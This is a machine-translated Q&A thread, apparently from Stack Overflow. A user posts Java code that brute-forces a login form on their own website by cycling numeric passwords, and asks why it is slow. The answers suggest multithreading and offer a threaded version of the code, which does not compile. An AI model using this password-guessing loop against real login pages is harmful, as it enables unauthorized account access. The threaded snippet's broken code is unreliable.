2013-10-01 11 views
2

Я пытаюсь переборщить с простой формой входа, которую я сам создал на своем веб-сайте. Первоначально я использовал плагин fuzzer от WebScarab, это довольно быстро. Затем я хочу настроить больше, поэтому я думаю, что могу сделать грубую силу с очень простой кодировкой. Но, к моему удивлению, мой Java-код работает так медленно: около 2,5 запросов в секунду, что намного медленнее, чем плагин WebScarab ... Я чувствую, что я не делаю часть соединения правильно, может быть. Любая помощь? Благодаря!Brute Force with Java HTTP URL Connection

public class HTTPURLConnection { 


int guessPassword = 0; 

public static void main(String[] args) throws Exception { 

    HTTPURLConnection http = new HTTPURLConnection(); 

    System.out.println("Start!"); 

      //I'm simply guessing password ranging from 0 to 200 
    for (int i =0; i<200; i++) { 


     if(http.sendPost()) 
      break; 

    } 
    System.out.println("Done!"); 

    } 



    private boolean sendPost() throws Exception { 

    String url = "http://mywebsite.com/myfile.php"; 
    URL obj = new URL(url); 

    HttpURLConnection con = (HttpURLConnection) obj.openConnection(); 

    //add request header 
    con.setRequestMethod("POST"); 
    con.setRequestProperty("User-Agent", "Mozilla/5.0 etc."); 
    con.setRequestProperty("Accept-Language", "en-US,en;q=0.8"); 
    con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 
    con.setRequestProperty("Connection", "keep-alive"); 
    con.setRequestProperty("Accept", "*/*"); 
    con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch"); 

    guessPassword ++; 


    String urlParameters = "name=userName&pwd="+guessPassword; 

    // Send post request 
    con.setDoOutput(true); 
    DataOutputStream wr = new DataOutputStream(con.getOutputStream()); 
    wr.writeBytes(urlParameters); 
    wr.flush(); 
    wr.close(); 

    int responseCode = con.getResponseCode(); 

    BufferedReader in = new BufferedReader(
      new InputStreamReader(con.getInputStream())); 
    String inputLine; 
    StringBuffer response = new StringBuffer(); 

    while ((inputLine = in.readLine()) != null) { 
     response.append(inputLine); 
    } 
    in.close(); 

    //if password is not correct, my form should return false 
    if (response.toString().equals("false")) 
     return false; 
    else 
     return true; 

    } 
} 
+0

Я бы измерил длину каждой операции, если бы вы были вами, чтобы узнать, что является причиной медленности. Кроме того, вы можете одновременно запускать несколько запросов с использованием нескольких потоков. –

ответ

2

Вы можете изменить размер входа в BufferedReader быть больше .... Попробуйте использовать один и тот же объект, что URL вместо повторного создания его каждый раз ....

Кроме того, вы можете запускайте этот метод несколько раз в то же время, что и потоки ....

class HTTPThread extends Thread { 
    URL url; 
    boolean success = false; 
    String pass; 
    PrimeThread(Url url,String pass) { 
     this.url = url; 
     this.pass = pass; 
    } 

    public void run() { 
     HttpURLConnection con = (HttpURLConnection) url.openConnection(); 

     //add request header 
     con.setRequestMethod("POST"); 
     con.setRequestProperty("User-Agent", "Mozilla/5.0 etc."); 
     con.setRequestProperty("Accept-Language", "en-US,en;q=0.8"); 
     con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 
     con.setRequestProperty("Connection", "keep-alive"); 
     con.setRequestProperty("Accept", "*/*"); 
     con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch"); 




     String urlParameters = "name=userName&pwd="+pass; 

     // Send post request 
     con.setDoOutput(true); 
     DataOutputStream wr = new DataOutputStream(con.getOutputStream()); 
     wr.writeBytes(urlParameters); 
     wr.flush(); 
     wr.close(); 

     int responseCode = con.getResponseCode(); 

     BufferedReader in = new BufferedReader(
       new InputStreamReader(con.getInputStream())); 
     String inputLine; 
     StringBuffer response = new StringBuffer(); 

     while ((inputLine = in.readLine()) != null) { 
      response.append(inputLine); 
     } 
     in.close(); 

     //if password is not correct, my form should return false 
     if (response.toString().equals("false")) 
      success= false; 
     else 
      success= true; 
     } 
    } 
    public String getPassword(){return pass;} 
    public boolean isSuccess(){return success;} 
}